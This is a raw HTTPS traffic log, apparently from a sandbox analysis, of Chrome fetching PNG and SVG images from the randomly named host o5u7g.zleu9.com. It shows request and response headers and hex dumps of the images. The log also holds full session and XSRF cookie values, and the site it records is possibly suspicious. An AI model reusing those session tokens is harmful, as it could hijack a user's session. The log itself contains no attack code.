2024-04-23 19:54:08 UTC	1522	OUT	GET /ij787GshcitfnBJkhf2ihQV2StNO4oyDfl89XPW2QQSs69EwDwN3LQe5cHhw1YAvJ7Xmab223 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
2024-04-23 19:54:08 UTC	672	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:08 GMT Content-Type: image/png Content-Length: 1400 Connection: close Content-Disposition: inline; filename="ij787GshcitfnBJkhf2ihQV2StNO4oyDfl89XPW2QQSs69EwDwN3LQe5cHhw1YAvJ7Xmab223" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f8dDNpqZY8BaG8TuY4fkpIEetWDtdjwXHAbIAa%2BqsFKmfheT9AofDboT2bBxg1MNpomi%2BFbv5zrPtwQdym%2BZ%2BDjA9Rkp6%2BkHLYB6d%2FxKPW4UI40CXZPrW12PopahUA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87906759ea5b4564-ATL
2024-04-23 19:54:08 UTC	697	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 05 3f 49 44 41 54 68 43 ed 58 bd 6e 13 41 10 be 4b d2 d0 20 87 b4 48 38 bc 00 c9 13 10 37 50 c6 ee 91 70 9e 00 e7 af 26 ae f3 83 f3 04 18 89 3e 97 92 34 98 27 c0 79 81 60 24 5a c0 d0 d0 24 31 df b7 9a 39 8d 97 3b bc 91 0c 77 91 7c d2 c9 f6 7a 76 76 76 be f9 8f 7f d6 1f 8e a2 b0 e7 db dd e4 62 e9 e5 59 f4 15 e4 f7 42 b6 b4 9f 44 71 08 dd 8c 26 5c 03 f1 0c b0 70 65 95 81 72 06 58 19 50 b8 81 0c 33 c0 6e a0 ac 7f 4d da 6a b5 aa f3 f3 f3 2b a3 d1 a8 72 7d 7d 9d 74 3a 9d a1 7f 66 61 80 6d 6d 6d 35 55 18 08 d9 df df df ef e7 29 64 77 77 77 e5 ea ea 6a 85 ff c7 71 3c 3c 3c 3c 4c f8 7d 67 67 67 0d 1f eb 97 97 97 ed ac cb fd 6b 05 4f 93 3f f4 d1 c2 dd 5e 82 67 Data Ascii: PNGIHDRl?IDAThCXnAK H87Pp&>4'y`$Z$19;w\|zvvvbYBDq&\perXP3nMj+r}}t:fammm5U)dwwwjq<<<<L}gggkO?^g
2024-04-23 19:54:08 UTC	703	IN	Data Raw: e3 31 43 e6 07 18 cc 0f 49 f4 b4 74 ca e1 ef 65 7e 71 8a 26 e8 36 af 32 42 e0 7d c3 2a 56 ce 70 f2 9b 42 c9 f2 22 0d ef ca 27 c1 9e 4d 18 01 73 f0 73 91 99 b2 fa 1e 56 25 2d d6 3f 38 79 43 14 3f 6d 1a 1f b0 85 85 05 7a 09 15 9d 26 5d 5c 98 56 4e eb 73 1e 85 d0 f2 6a 12 60 c6 ea 19 02 6b 59 ad 82 05 0c fc 36 34 d4 59 10 ec ba 28 5f 65 61 5b e1 72 8c c8 1b 31 42 f8 e7 18 d9 1d bd 17 35 18 02 e9 c5 69 a1 75 a3 1c 16 bd fd 1e e6 61 51 f4 2b 7a b6 78 7f f4 2e fa 82 b3 82 3c 2c 7e 1a e6 61 cc 1d 10 7a 2c bc 49 85 54 87 62 da 50 ea 5e 08 60 ba 07 f2 8d 79 aa 35 38 0b 18 2c 7c 51 fb b7 bc 75 dd ab 2d 84 86 5f 95 97 ff fb 6d 85 31 1c e7 91 f6 7c 6b ac 6a 18 37 05 2c 78 f8 0b c0 96 00 58 f0 f0 17 80 65 7a b0 ef 61 04 8c 8d b4 58 de 00 8a 5c 45 98 24 80 15 2d f7 03 Data Ascii: 1CIte~q&62B}*VpB"'MssV%-?8yC?mz&]\VNsj`kY64Y(_ea[r1B5iuaQ+zx.<,~az,ITbP^`y58,\|Qu-_m1\|kj7,xXezaX\E$-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49783	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:08 UTC	1528	OUT	GET /mnl2tHQ07yj2qZbGoQPLc2rws7XKCbM9CrmJtCNM7qbSB856rqfsEpXq5H383Fjyek8KV2n6SNuv220 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
2024-04-23 19:54:09 UTC	682	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:09 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mnl2tHQ07yj2qZbGoQPLc2rws7XKCbM9CrmJtCNM7qbSB856rqfsEpXq5H383Fjyek8KV2n6SNuv220" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jpr%2FIzZ8jUKCdMfem%2F22%2FpUCVtfoGBGZv9VVv58J7zjD2UcdRbtBIIt7kwWzpslHVTwKbOq1LZdsoHalwQe6nuLi2BFiV5Z71Gvb4iORApVgsOTKZqcd2bdpzGPp8A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8790675d09c24563-ATL
2024-04-23 19:54:09 UTC	687	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-23 19:54:09 UTC	1184	IN	Data Raw: 2d 39 38 34 20 31 39 38 2d 34 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 34 30 31 2e 36 20 31 37 32 30 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 31 30 37 63 31 30 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 Data Ascii: -984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset
2024-04-23 19:54:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49784	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:08 UTC	1488	OUT	GET /uvReLdUstUtCbWsqopShVHLQdjK9um4BlP12130 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
2024-04-23 19:54:09 UTC	635	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:09 GMT Content-Type: image/png Content-Length: 231 Connection: close Content-Disposition: inline; filename="uvReLdUstUtCbWsqopShVHLQdjK9um4BlP12130" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ni37mykHmHxm3uicBxH9kBPmhMwkSfNx4%2BhuaaIWU26XaVn8%2Fztg4NibgG8kHW5%2Fd36wQPG6PgAADOeTklFdBVO%2BtL9esmRfsVfv2Vf2sK%2FlAkJLbu97qDHhEE7uuA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8790675d390d53e6-ATL
2024-04-23 19:54:09 UTC	231	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 a1 49 44 41 54 48 4b ed 93 b1 0d 02 31 10 04 e7 5a a0 0c aa b8 12 a8 80 9c 2e 20 23 24 23 a5 94 2d e1 cb 20 24 24 33 b2 f4 48 1f 80 cf bc 71 80 78 a7 3e ed 78 c7 b6 d1 79 59 e7 7c 16 40 68 f8 8f 14 b9 fb 05 18 24 9d 42 2f 93 81 2a 45 63 f8 0a d8 4a ba 7d 15 d0 12 9e 0f 52 6c d0 1a 5e 04 8c e1 1b e0 0c dc 23 2d 92 0e af 66 de 36 70 f7 63 4a 69 67 66 b5 80 fd 47 80 3c 9c 21 c0 7a ce e5 3e 61 e1 2b 6a 85 84 80 d6 26 55 80 09 e4 da e5 a3 45 2f a8 b4 5f dd 60 2e 64 01 84 e6 7e 5f d1 03 bf ca 37 19 0c 18 34 60 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRw=sRGBIDATHK1Z. #$#- $$3Hqx>xyY\|@h$B/*EcJ}Rl^#-f6pcJigfG<!z>a+j&UE/_`.d~_74`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49785	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:08 UTC	1495	OUT	GET /opPltSeSUXK9DHBf9DPq9LBD1mnqke1dpQ2aQUfvH45131 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
2024-04-23 19:54:09 UTC	638	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:09 GMT Content-Type: image/png Content-Length: 727 Connection: close Content-Disposition: inline; filename="opPltSeSUXK9DHBf9DPq9LBD1mnqke1dpQ2aQUfvH45131" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EoidEVTgnCKIUDH8Cksqjrk5xbKLjwtOKB2G4yEG%2FddKmviBHNwOKgXQKy9484vWZHJfF8y1US5gUsD0Si8nT1AlSCDdDzd8j9ezUTWs%2FrM5Y7jsnJXepgbdoMo8%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8790675e1f3a44fd-ATL
2024-04-23 19:54:09 UTC	727	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 02 9e 49 44 41 54 68 43 ed 97 81 51 1c 31 0c 45 8f 0e a0 83 a3 03 e8 60 a9 00 a8 20 a4 02 a0 82 90 0a a0 03 ae 83 90 0a b2 54 00 1d e4 3a 80 0e c8 7f 37 72 c6 ec dc ad e5 b5 73 77 3b 59 cf 68 18 f6 64 4b 5f 5f 92 e5 83 d9 c8 d7 c1 c8 fd 9f 4d 00 76 cd e0 c4 c0 c4 40 61 04 fe df 14 6a 9a e6 50 c1 3b 91 9c 4b 1a 09 ff b3 5e 25 ef 92 e7 b6 6d 17 85 01 4e 6e 1f c4 80 9c bf d1 c9 d7 92 79 d2 c2 6c f6 5d 40 ee 1c 7a 83 54 b2 00 58 d4 1f 65 e9 c2 ac b5 44 5a f2 24 59 1a 0b b0 12 98 e1 6f 60 e5 4c 40 60 a6 ea 72 03 30 e7 7f 99 73 38 42 64 1f fa bc 31 a6 ee 4d 87 3d c7 b5 41 e4 00 f8 61 91 27 c7 2f e5 08 11 4f 2e 81 80 05 40 34 12 6d 6b cf 92 9b 32 14 5c 00 a2 Data Ascii: PNGIHDR00WIDAThCQ1E` T:7rsw;YhdK__Mv@ajP;K^%mNnyl]@zTXeDZ$Yo`L@`r0s8Bd1M=Aa'/O.@4mk2\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49787	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:09 UTC	1135	OUT	GET /ij787GshcitfnBJkhf2ihQV2StNO4oyDfl89XPW2QQSs69EwDwN3LQe5cHhw1YAvJ7Xmab223 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:09 UTC	666	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:09 GMT Content-Type: image/png Content-Length: 1400 Connection: close Content-Disposition: inline; filename="ij787GshcitfnBJkhf2ihQV2StNO4oyDfl89XPW2QQSs69EwDwN3LQe5cHhw1YAvJ7Xmab223" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KeFPa8T9Mi5t215453fhJgYnnG%2FOqey3cL2N5HOaV0DE%2BrPdeU5lx3C8CuKL%2Bps8i8Thb6HIdy4yOgn61L7hr1FLdfrAsD7TYFiW1037r97Uyc4Rej2RAQ21DfGbgg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8790675fcb606759-ATL
2024-04-23 19:54:09 UTC	703	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 05 3f 49 44 41 54 68 43 ed 58 bd 6e 13 41 10 be 4b d2 d0 20 87 b4 48 38 bc 00 c9 13 10 37 50 c6 ee 91 70 9e 00 e7 af 26 ae f3 83 f3 04 18 89 3e 97 92 34 98 27 c0 79 81 60 24 5a c0 d0 d0 24 31 df b7 9a 39 8d 97 3b bc 91 0c 77 91 7c d2 c9 f6 7a 76 76 76 be f9 8f 7f d6 1f 8e a2 b0 e7 db dd e4 62 e9 e5 59 f4 15 e4 f7 42 b6 b4 9f 44 71 08 dd 8c 26 5c 03 f1 0c b0 70 65 95 81 72 06 58 19 50 b8 81 0c 33 c0 6e a0 ac 7f 4d da 6a b5 aa f3 f3 f3 2b a3 d1 a8 72 7d 7d 9d 74 3a 9d a1 7f 66 61 80 6d 6d 6d 35 55 18 08 d9 df df df ef e7 29 64 77 77 77 e5 ea ea 6a 85 ff c7 71 3c 3c 3c 3c 4c f8 7d 67 67 67 0d 1f eb 97 97 97 ed ac cb fd 6b 05 4f 93 3f f4 d1 c2 dd 5e 82 67 Data Ascii: PNGIHDRl?IDAThCXnAK H87Pp&>4'y`$Z$19;w\|zvvvbYBDq&\perXP3nMj+r}}t:fammm5U)dwwwjq<<<<L}gggkO?^g
2024-04-23 19:54:09 UTC	697	IN	Data Raw: cc 0f 49 f4 b4 74 ca e1 ef 65 7e 71 8a 26 e8 36 af 32 42 e0 7d c3 2a 56 ce 70 f2 9b 42 c9 f2 22 0d ef ca 27 c1 9e 4d 18 01 73 f0 73 91 99 b2 fa 1e 56 25 2d d6 3f 38 79 43 14 3f 6d 1a 1f b0 85 85 05 7a 09 15 9d 26 5d 5c 98 56 4e eb 73 1e 85 d0 f2 6a 12 60 c6 ea 19 02 6b 59 ad 82 05 0c fc 36 34 d4 59 10 ec ba 28 5f 65 61 5b e1 72 8c c8 1b 31 42 f8 e7 18 d9 1d bd 17 35 18 02 e9 c5 69 a1 75 a3 1c 16 bd fd 1e e6 61 51 f4 2b 7a b6 78 7f f4 2e fa 82 b3 82 3c 2c 7e 1a e6 61 cc 1d 10 7a 2c bc 49 85 54 87 62 da 50 ea 5e 08 60 ba 07 f2 8d 79 aa 35 38 0b 18 2c 7c 51 fb b7 bc 75 dd ab 2d 84 86 5f 95 97 ff fb 6d 85 31 1c e7 91 f6 7c 6b ac 6a 18 37 05 2c 78 f8 0b c0 96 00 58 f0 f0 17 80 65 7a b0 ef 61 04 8c 8d b4 58 de 00 8a 5c 45 98 24 80 15 2d f7 03 01 73 a0 ff ad 2f Data Ascii: Ite~q&62B}*VpB"'MssV%-?8yC?mz&]\VNsj`kY64Y(_ea[r1B5iuaQ+zx.<,~az,ITbP^`y58,\|Qu-_m1\|kj7,xXezaX\E$-s/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49786	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
